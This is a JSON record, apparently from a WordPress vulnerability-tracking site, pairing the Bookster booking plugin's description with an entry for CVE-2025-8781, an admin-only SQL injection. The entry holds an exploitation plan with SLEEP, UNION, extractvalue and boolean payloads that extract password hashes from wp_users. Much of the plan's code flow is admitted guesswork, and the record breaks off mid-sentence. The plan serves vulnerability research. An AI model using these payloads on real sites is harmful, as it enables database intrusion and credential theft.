[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fmK6FShE88gk1VBjl7MjegY9x3uAFBKbdYTM1IxtwQlI":3,"$ffPQqhHPmCYojEPhRb8oYUuJn7ubfVxEuqDNgeJv-pOo":543,"$ft5GX1L0ZqvEosHulNDxUqAVRJCiEuwpIPW2DY30lf2c":547},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":77,"crawl_stats":39,"alternatives":83,"analysis":180,"fingerprints":478},"bookster","Bookster – WordPress Appointment Booking Plugin","3.0.1","Bookster","https:\u002F\u002Fprofiles.wordpress.org\u002Fbookster\u002F","\u003Cp>Managing appointments through phone calls, texts, and emails is chaotic.\u003C\u002Fp>\n\u003Cp>You lose track of bookings, double-book appointments, and spend hours on scheduling instead of serving customers.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Bookster turns your WordPress site into a 24\u002F7 booking system.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>📌 \u003Ca href=\"https:\u002F\u002Fdocs.yaycommerce.com\u002Fbookster\u002Fprice-plans\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fdemo.wpbookster.com\u002Fpet-care\u002F\" rel=\"nofollow ugc\">Quick Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Customers book appointments themselves, see real-time availability, and receive automatic confirmations.\u003C\u002Fp>\n\u003Cp>You manage everything from one dashboard.\u003C\u002Fp>\n\u003Ch3>💫 Perfect For\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Hair salons and barbershops\u003C\u002Fli>\n\u003Cli>Spas and beauty clinics\u003C\u002Fli>\n\u003Cli>Massage therapists and wellness centers\u003C\u002Fli>\n\u003Cli>Personal trainers and fitness coaches\u003C\u002Fli>\n\u003Cli>Consultants and coaches\u003C\u002Fli>\n\u003Cli>Tutors and education services\u003C\u002Fli>\n\u003Cli>Medical and dental practices\u003C\u002Fli>\n\u003Cli>Any service business that takes appointments\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>💙 How It Works\u003C\u002Fh3>\n\u003Cp>Customers visit your booking page, choose a service, pick their preferred staff member, select an available time slot, and \u003Cstrong>book instantly\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You receive an \u003Cstrong>email notification\u003C\u002Fstrong> and can view all appointments in your calendar dashboard. No more back-and-forth scheduling.\u003C\u002Fp>\n\u003Ch3>🔥 Key Features (100% Free)\u003C\u002Fh3>\n\u003Ch3>Unlimited Bookings & Services\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Create unlimited services with custom names, descriptions, and photos\u003C\u002Fli>\n\u003Cli>Organize services into categories (e.g., Haircuts, Coloring, Spa Treatments)\u003C\u002Fli>\n\u003Cli>Set individual duration and pricing for each service\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fbookster-taxation\u002F\" rel=\"ugc\">Add taxes\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fbookster-discounts-fees\u002F\" rel=\"ugc\">fees and discounts\u003C\u002Fa> to bookings\u003C\u002Fli>\n\u003Cli>No limits on number of appointments per month\u003C\u002Fli>\n\u003Cli>Offer \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fbookster-extra-options\u002F\" rel=\"ugc\">service add-ons and upsell options\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Smart Scheduling\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Set your working hours for each day of the week\u003C\u002Fli>\n\u003Cli>Configure different availability for different services\u003C\u002Fli>\n\u003Cli>Add buffer time between appointments (e.g., 15-minute cleanup)\u003C\u002Fli>\n\u003Cli>Block off days for vacations or holidays\u003C\u002Fli>\n\u003Cli>Set minimum advance notice for bookings (e.g., require 24-hour notice)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Staff Management\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Add unlimited team members from \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Agents\u003C\u002Fstrong> menu\u003C\u002Fli>\n\u003Cli>Set individual working hours for each staff member\u003C\u002Fli>\n\u003Cli>Assign specific services to specific team members\u003C\u002Fli>\n\u003Cli>Let customers choose their preferred agent or assign automatically\u003C\u002Fli>\n\u003Cli>Track performance and bookings per agent\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Customer Booking Experience\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Clean, mobile-friendly booking form that works on all devices\u003C\u002Fli>\n\u003Cli>Multi-step process: choose service \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> select staff \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> pick time \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> enter details \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> confirm\u003C\u002Fli>\n\u003Cli>Customers see only available time slots (no double-booking)\u003C\u002Fli>\n\u003Cli>Optional customer account dashboard to view and manage their bookings\u003C\u002Fli>\n\u003Cli>Customers can cancel or reschedule appointments themselves\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Payment Options\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Accept cash\u002Fcheck for in-person payment\u003C\u002Fli>\n\u003Cli>Accept PayPal payments online (customers pay when booking)\u003C\u002Fli>\n\u003Cli>Stripe integration available via addon for credit card payments\u003C\u002Fli>\n\u003Cli>Mark bookings as paid or unpaid manually\u003C\u002Fli>\n\u003Cli>Track revenue in the analytics dashboard\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Automatic Notifications\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Email confirmation sent to customers immediately after booking\u003C\u002Fli>\n\u003Cli>Reminder emails sent before appointment\u003C\u002Fli>\n\u003Cli>Email notifications sent to admin when new bookings arrive\u003C\u002Fli>\n\u003Cli>Customize email templates with your branding\u003C\u002Fli>\n\u003Cli>All emails sent automatically – no manual work required\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Admin Dashboard\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>View all appointments in \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Calendar\u003C\u002Fstrong> menu\u003C\u002Fli>\n\u003Cli>Switch between day, week, and month calendar views\u003C\u002Fli>\n\u003Cli>Click any appointment to view or edit details instantly\u003C\u002Fli>\n\u003Cli>Filter appointments by status (confirmed, pending, cancelled)\u003C\u002Fli>\n\u003Cli>Search for specific customers or appointments\u003C\u002Fli>\n\u003Cli>Drag appointments to different dates to reschedule\u003C\u002Fli>\n\u003Cli>Color-coded by service or staff member for quick overview\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Analytics & Reports\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Track total bookings and revenue right from dashboard\u003C\u002Fli>\n\u003Cli>View performance by service (which services are most popular)\u003C\u002Fli>\n\u003Cli>Monitor individual agent performance\u003C\u002Fli>\n\u003Cli>Make data-driven decisions about staffing and services\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Premium Addons (Optional)\u003C\u002Fh3>\n\u003Cp>Upgrade your booking system with these customizable options:\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Booking Form\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Customize booking form steps (reorder, add, or remove steps)\u003C\u002Fli>\n\u003Cli>Add custom fields to collect specific information\u003C\u002Fli>\n\u003Cli>Enable recaptcha, brand logo, timezone selector, and more for your booking system.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Advanced Features\u003C\u002Fstrong> (coming in future addons)\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Group bookings and classes\u003C\u002Fli>\n\u003Cli>Recurring appointments\u003C\u002Fli>\n\u003Cli>Multiple locations management\u003C\u002Fli>\n\u003Cli>SMS notifications via Twilio\u003C\u002Fli>\n\u003Cli>Design Toolkit for Block Editor and Elementor\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Getting Started\u003C\u002Fh3>\n\u003Ch3>Adding the Booking Calendar to Your Site\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Method 1: Shortcode (Works Anywhere)\u003C\u002Fstrong>\u003Cbr \u002F>\nAdd \u003Ccode>[bookster_booking_form]\u003C\u002Fcode> to any page, post, or widget area.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Method 2: Block Editor\u003C\u002Fstrong>\u003Cbr \u002F>\n1. Edit the page where you want the booking form\u003Cbr \u002F>\n2. Click the \u003Cstrong>+\u003C\u002Fstrong> button to add a block\u003Cbr \u002F>\n3. Search for “Bookster”\u003Cbr \u002F>\n4. Select the \u003Cstrong>Bookster Booking Form\u003C\u002Fstrong> block\u003Cbr \u002F>\n5. Publish the page\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Method 3: Classic Editor\u003C\u002Fstrong>\u003Cbr \u002F>\nPaste \u003Ccode>[bookster_booking_form]\u003C\u002Fcode> directly into your content.\u003C\u002Fp>\n\u003Ch3>Viewing and Managing Appointments\u003C\u002Fh3>\n\u003Col>\n\u003Cli>Go to \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Calendar\u003C\u002Fstrong> in your WordPress dashboard\u003C\u002Fli>\n\u003Cli>You’ll see all appointments in calendar format\u003C\u002Fli>\n\u003Cli>Click any appointment to view details or make changes\u003C\u002Fli>\n\u003Cli>Use the view buttons at top to switch between day\u002Fweek\u002Fmonth views\u003C\u002Fli>\n\u003Cli>Use filters to show appointments based on agents or booking status\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>Creating a Manual Booking (For Walk-Ins or Phone Bookings)\u003C\u002Fh3>\n\u003Col>\n\u003Cli>Go to \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Calendar\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Click the \u003Cstrong>+ New Appointment\u003C\u002Fstrong> button (or click an empty time slot)\u003C\u002Fli>\n\u003Cli>Select the service and staff member\u003C\u002Fli>\n\u003Cli>Choose date and time\u003C\u002Fli>\n\u003Cli>Enter customer information (name, email, phone)\u003C\u002Fli>\n\u003Cli>Select payment method\u003C\u002Fli>\n\u003Cli>Click \u003Cstrong>Create Appointment\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Customer automatically receives confirmation email\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>Troubleshooting\u003C\u002Fh3>\n\u003Ch3>Booking calendar not showing on my page\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Check 1: Verify the shortcode\u003C\u002Fstrong>\u003Cbr \u002F>\nMake sure you added \u003Ccode>[bookster_booking_form]\u003C\u002Fcode> exactly (with square brackets).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 2: Clear cache\u003C\u002Fstrong>\u003Cbr \u002F>\nIf using a caching plugin, clear your cache: \u003Cstrong>WP Rocket \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Clear Cache\u003C\u002Fstrong> or similar.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 3: Theme conflict\u003C\u002Fstrong>\u003Cbr \u002F>\nTemporarily switch to a default WordPress theme (Twenty Twenty-Five) to test. If it works, there’s a theme conflict.\u003C\u002Fp>\n\u003Ch3>Customers not receiving email confirmations\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Check 1: Email settings\u003C\u002Fstrong>\u003Cbr \u002F>\nGo to \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Integrations \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Email tab\u003C\u002Fstrong> and confirm email notifications are enabled.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 2: Check spam folders\u003C\u002Fstrong>\u003Cbr \u002F>\nAsk customers to check spam\u002Fjunk folders. Add your domain to their contacts.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 3: WordPress email issues\u003C\u002Fstrong>\u003Cbr \u002F>\nWordPress email can be unreliable. Install an SMTP plugin like \u003Cstrong>YaySMTP\u003C\u002Fstrong> to improve email delivery:\u003Cbr \u002F>\n1. Install YaySMTP plugin\u003Cbr \u002F>\n2. Connect it to Gmail, SendGrid, or Mailgun\u003Cbr \u002F>\n3. Send a test email to verify\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 4: Test with yourself\u003C\u002Fstrong>\u003Cbr \u002F>\nCreate a test booking using your own email to confirm emails are sending.\u003C\u002Fp>\n\u003Ch3>Time slots not showing as available\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Check 1: Working hours configured\u003C\u002Fstrong>\u003Cbr \u002F>\nGo to \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Settings \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Schedule\u003C\u002Fstrong> and verify hours are set for the day in question.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 2: Agent availability\u003C\u002Fstrong>\u003Cbr \u002F>\nIf using staff members, check \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Agents\u003C\u002Fstrong> and verify the agent works on that day.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 3: Minimum advance notice\u003C\u002Fstrong>\u003Cbr \u002F>\nCheck \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Settings \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> General \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Restrictions\u003C\u002Fstrong>, if you require 24-hour notice, today’s appointments won’t show.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 4: Service duration\u003C\u002Fstrong>\u003Cbr \u002F>\nIf your service is 2 hours but only 1 hour remains before closing time, that slot won’t appear.\u003C\u002Fp>\n\u003Ch3>Double bookings happening\u003C\u002Fh3>\n\u003Cp>This shouldn’t happen with Bookster. If it does:\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 1: Multiple admin users\u003C\u002Fstrong>\u003Cbr \u002F>\nIf multiple people manage bookings, ensure everyone refreshes the calendar before creating appointments.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Check 2: Contact support\u003C\u002Fstrong>\u003Cbr \u002F>\nIf this persists, contact Bookster support with specific examples.\u003C\u002Fp>\n\u003Ch3>PayPal payments not working\u003C\u002Fh3>\n\u003Col>\n\u003Cli>Go to \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Settings \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Payments tab\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Verify your PayPal email address is correct\u003C\u002Fli>\n\u003Cli>Confirm PayPal is enabled (toggle should be blue\u002Fon)\u003C\u002Fli>\n\u003Cli>Test in PayPal sandbox mode first\u003C\u002Fli>\n\u003Cli>Check if PayPal account is verified and can accept payments\u003C\u002Fli>\n\u003Cli>Review PayPal transaction logs for error messages\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>Calendar showing wrong timezone\u003C\u002Fh3>\n\u003Col>\n\u003Cli>Go to \u003Cstrong>Settings \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> General\u003C\u002Fstrong> in WordPress\u003C\u002Fli>\n\u003Cli>Set your city timezone correctly (e.g., “New York” or “Berlin”)\u003C\u002Fli>\n\u003Cli>Save changes\u003C\u002Fli>\n\u003Cli>Go to \u003Cstrong>Bookster \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Settings\u003C\u002Fstrong> and verify timezone matches\u003C\u002Fli>\n\u003Cli>Clear browser cache and reload\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>Third-Party Services\u003C\u002Fh3>\n\u003Cp>Bookster uses these external services to provide full functionality:\u003C\u002Fp>\n\u003Cp>\u003Cstrong>FullCalendar.io\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Purpose: Renders the interactive booking calendar\u003C\u002Fli>\n\u003Cli>Privacy: No personal data sent to FullCalendar\u003C\u002Fli>\n\u003Cli>Terms: https:\u002F\u002Ffullcalendar.io\u002Flicense\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Stripe.com\u003C\u002Fstrong> (Optional – only if using Stripe addon)\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Purpose: Process credit card payments\u003C\u002Fli>\n\u003Cli>Data shared: Customer name, email, payment amount\u003C\u002Fli>\n\u003Cli>Privacy: https:\u002F\u002Fstripe.com\u002Fprivacy\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>PayPal.com\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Purpose: Process PayPal payments\u003C\u002Fli>\n\u003Cli>Data shared: Customer name, email, payment amount  \u003C\u002Fli>\n\u003Cli>Privacy: https:\u002F\u002Fwww.paypal.com\u002Fprivacy\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>When customers make payments, they’re redirected to Stripe or PayPal’s secure servers. Bookster does not store credit card numbers.\u003C\u002Fp>\n\u003Ch3>Support\u003C\u002Fh3>\n\u003Cp>Need help? We’re here for you:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Documentation\u003C\u002Fstrong>: Visit Bookster’s \u003Ca href=\"https:\u002F\u002Fdocs.yaycommerce.com\u002Fbookster\u002Fmanagement\u002Fdashboard\" rel=\"nofollow ugc\">detailed guides\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Support Forum\u003C\u002Fstrong>: Post questions in the \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fbookster\u002F\" rel=\"ugc\">WordPress.org support forum\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Email & Live Chat Support\u003C\u002Fstrong>: Contact us through the \u003Ca href=\"https:\u002F\u002Fwpbookster.com\u002Fsupport\u002F\" rel=\"nofollow ugc\">Bookster website\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Video Tutorials\u003C\u002Fstrong>: Watch setup videos on our \u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002F@wpbookster\" rel=\"nofollow ugc\">YouTube channel\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Response time: We typically respond within 4 hours on business days and 12 hours on weekends.\u003C\u002Fp>\n\u003Ch3>We’d Love Your Feedback ❣️\u003C\u002Fh3>\n\u003Cp>If Bookster helps your business, please leave us a review on WordPress.org! It takes 60 seconds and brightens our day. \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fbookster\u002Freviews\u002F?filter=5\" rel=\"ugc\">Click here ⭐⭐⭐⭐⭐ to share your experience\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Have a feature request?\u003C\u002Fstrong> We’re actively developing new features based on user feedback. \u003Ca href=\"https:\u002F\u002Ffeedbo.io\u002Fboard\u002Fbookster\u002F\" rel=\"nofollow ugc\">Submit your ideas here\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Compatibility\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Works With All Major WordPress Themes:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Brandy\u003C\u002Fli>\n\u003Cli>WP Shadcn\u003C\u002Fli>\n\u003Cli>GeneratePress\u003C\u002Fli>\n\u003Cli>OceanWP\u003C\u002Fli>\n\u003Cli>Divi\u003C\u002Fli>\n\u003Cli>Avada\u003C\u002Fli>\n\u003Cli>And thousands more\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Page Builders:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Elementor\u003C\u002Fli>\n\u003Cli>Gutenberg (Block Editor)\u003C\u002Fli>\n\u003Cli>Classic Editor\u003C\u002Fli>\n\u003Cli>Beaver Builder\u003C\u002Fli>\n\u003Cli>WPBakery\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>What’s Next?\u003C\u002Fh3>\n\u003Cp>After installing Bookster:\u003C\u002Fp>\n\u003Col>\n\u003Cli>Run the setup wizard\u003C\u002Fli>\n\u003Cli>Add the booking calendar to a page\u003C\u002Fli>\n\u003Cli>Create a test booking to see the customer experience\u003C\u002Fli>\n\u003Cli>Customize email templates with your branding\u003C\u002Fli>\n\u003Cli>Share your booking page link with customers\u003C\u002Fli>\n\u003Cli>Start accepting appointments 24\u002F7!\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>Your new booking system is ready to help you grow your business. Welcome to Bookster! 🚀\u003C\u002Fp>\n","Manage real-time bookings with ease. Accept online or in-person payments seamlessly on your WordPress site.",200,9694,100,7,"2026-04-10T14:34:00.000Z","6.9.4","6.2","7.4",[20,21,22,23,24],"appointment","appointment-booking","appointment-scheduling","booking","calendar","https:\u002F\u002Fwpbookster.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookster.3.0.1.zip",98,2,0,"2026-02-17 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[34,61],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":30,"updated_date":46,"references":47,"days_to_patch":28,"patch_diff_files":49,"patch_trac_url":39,"research_status":50,"research_verified":51,"research_rounds_completed":52,"research_plan":53,"research_summary":54,"research_vulnerable_code":55,"research_fix_diff":56,"research_exploit_outline":57,"research_model_used":58,"research_started_at":59,"research_completed_at":60,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":51,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-8781","bookster-wordpress-appointment-booking-plugin-authenticated-administrator-sql-injection-via-raw","Bookster – WordPress Appointment Booking Plugin \u003C= 2.1.1 - Authenticated (Administrator+) SQL Injection via 'raw'","The Bookster – WordPress Appointment Booking Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘raw’ parameter in all versions up to, and including, 2.1.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",null,"\u003C=2.1.1","2.2.0","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-02-18 12:28:34",[48],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1fc5f0ac-3323-4e6c-8900-10e13294ff9a?source=api-prod",[],"researched",false,3,"This plan outlines the steps to verify and exploit **CVE-2025-8781**, a SQL Injection vulnerability in the Bookster WordPress plugin.\n\n### 1. Vulnerability Summary\nThe **Bookster – WordPress Appointment Booking Plugin** (\u003C= 2.1.1) is vulnerable to SQL Injection because it processes user-supplied data via a parameter named `raw` without sufficient sanitization or the use of `wpdb->prepare()`. An attacker with Administrator privileges can inject arbitrary SQL clauses into existing database queries, potentially leading to the extraction of sensitive data from the WordPress database, including user hashes and configuration secrets.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php` (common for admin-side dashboard actions) or a specific plugin settings page.\n*   **Action (Hook):** Likely `wp_ajax_bookster_...` (requires identification in source).\n*   **Vulnerable Parameter:** `raw`.\n*   **Authentication:** Administrator-level access is required (`PR:H`).\n*   **Payload Type:** UNION-based or Error-based SQL Injection.\n\n### 3. Code Flow (Inferred)\n1.  An Administrator accesses a feature in the Bookster dashboard (e.g., Reports, Booking Logs, or Statistics).\n2.  The plugin triggers an AJAX request or a form submission that includes the `raw` parameter.\n3.  The handler function in the plugin (e.g., `Bookster\\Admin\\Controllers\\Reports::get_data` or similar) retrieves the parameter: `$filter = $_POST['raw'];`.\n4.  The plugin constructs a SQL query by direct concatenation: \n    `$results = $wpdb->get_results(\"SELECT ... FROM ... WHERE 1=1 \" . $filter);`\n5.  The query is executed without `wpdb->prepare()`.\n\n### 4. Nonce Acquisition Strategy\nSince this is an **authenticated (Administrator+)** vulnerability, the exploit must first authenticate as an admin and then obtain a valid nonce if the AJAX handler enforces one.\n\n**Steps for the Security Agent:**\n1.  **Login:** Authenticate as the administrator using `wp_cli` or `http_request`.\n2.  **Navigate:** Use `browser_navigate` to reach the Bookster plugin's main admin page (e.g., `\u002Fwp-admin\u002Fadmin.php?page=bookster-bookings`).\n3.  **Identify JS Variables:** Inspect the page source for `wp_localize_script` data. \n    *   Search for strings like `bookster_admin`, `bookster_params`, or `bookster_data`.\n4.  **Extract Nonce:** Use `browser_eval` to retrieve the nonce:\n    *   `browser_eval(\"window.bookster_admin?.nonce\")` (inferred variable name).\n    *   If no global variable is found, search for `_wpnonce` in the form inputs on the settings page.\n\n### 5. Exploitation Strategy\n\n#### Phase 1: Locate the Vulnerable Handler\nThe agent should first identify the exact action using `grep`:\n```bash\ngrep -rn \"raw\" wp-content\u002Fplugins\u002Fbookster\u002F\ngrep -rn \"\\$wpdb->get_results\" wp-content\u002Fplugins\u002Fbookster\u002F | grep \"raw\"\n```\nThis will confirm the AJAX action name (e.g., `action=bookster_get_stats`).\n\n#### Phase 2: Confirm Injection (Time-based)\nPerform a simple sleep test to confirm the parameter is vulnerable.\n*   **Request Type:** POST to `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body:** `action=BOOKSTER_ACTION&raw= AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=NONCE_VALUE`\n*   **Indicator:** Response delay of ~5 seconds.\n\n#### Phase 3: Data Extraction (UNION-based)\nIf the plugin reflects the results of the query in the response:\n1.  **Find Column Count:** Inject `ORDER BY 1-- -`, `ORDER BY 2-- -`, etc., until an error occurs.\n2.  **Payload:** \n    `raw= AND 1=0 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -`\n3.  **Request Body (example):**\n```json\n{\n    \"action\": \"bookster_get_stats\",\n    \"raw\": \" AND 1=0 UNION SELECT 1,user_login,user_pass,NULL,NULL,NULL FROM wp_users WHERE ID=1-- -\",\n    \"security\": \"NONCE_FROM_JS\"\n}\n```\n\n### 6. Test Data Setup\n1.  **Install Plugin:** `wp plugin install bookster --version=2.1.1 --activate`\n2.  **Create Content:** Ensure there is at least one booking or entry in the plugin's tables so that the base query returns results.\n    *   Navigate to the Bookster settings and create a test service\u002Fbooking.\n3.  **Identify Table Prefix:** Note the database prefix (usually `wp_`).\n\n### 7. Expected Results\n*   **Time-based:** The HTTP response time will be significantly higher than the baseline when the `SLEEP()` payload is provided.\n*   **UNION-based:** The response body (likely JSON) will contain the administrator's username and hashed password instead of the expected booking data.\n\n### 8. Verification Steps\nAfter the exploit, verify the extracted data matches the database state via `wp_cli`:\n```bash\n# Compare extracted hash with actual hash\nwp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n```\n\n### 9. Alternative Approaches\n*   **Error-based:** If the plugin displays database errors (common in dev environments), use `extractvalue()` or `updatexml()` payloads:\n    *   `raw= AND extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e))`\n*   **Boolean-based:** If no output is reflected and time-based is unstable, use boolean checks:\n    *   `raw= AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$P$'`\n    *   Compare response content\u002Flength for `TRUE` vs `FALSE` conditions.\n\n### 10. Grep Patterns for Discovery (Pre-Exploit)\n```bash\n# Find where 'raw' is retrieved from input\ngrep -rP \"\\['raw'\\]|\\[\\\"raw\\\"\\]\" wp-content\u002Fplugins\u002Fbookster\u002F\n\n# Find where 'raw' is used in a query\ngrep -rP \"\\$wpdb->.*\\. \\$\" wp-content\u002Fplugins\u002Fbookster\u002F | grep \"raw\"\n\n# Find AJAX action registrations\ngrep -rn \"wp_ajax_bookster\" wp-content\u002Fplugins\u002Fbookster\u002F\n```","The Bookster plugin for WordPress is vulnerable to SQL Injection via the 'raw' parameter in versions up to 2.1.1. This occurs because the plugin concatenates user-supplied input directly into SQL queries without proper 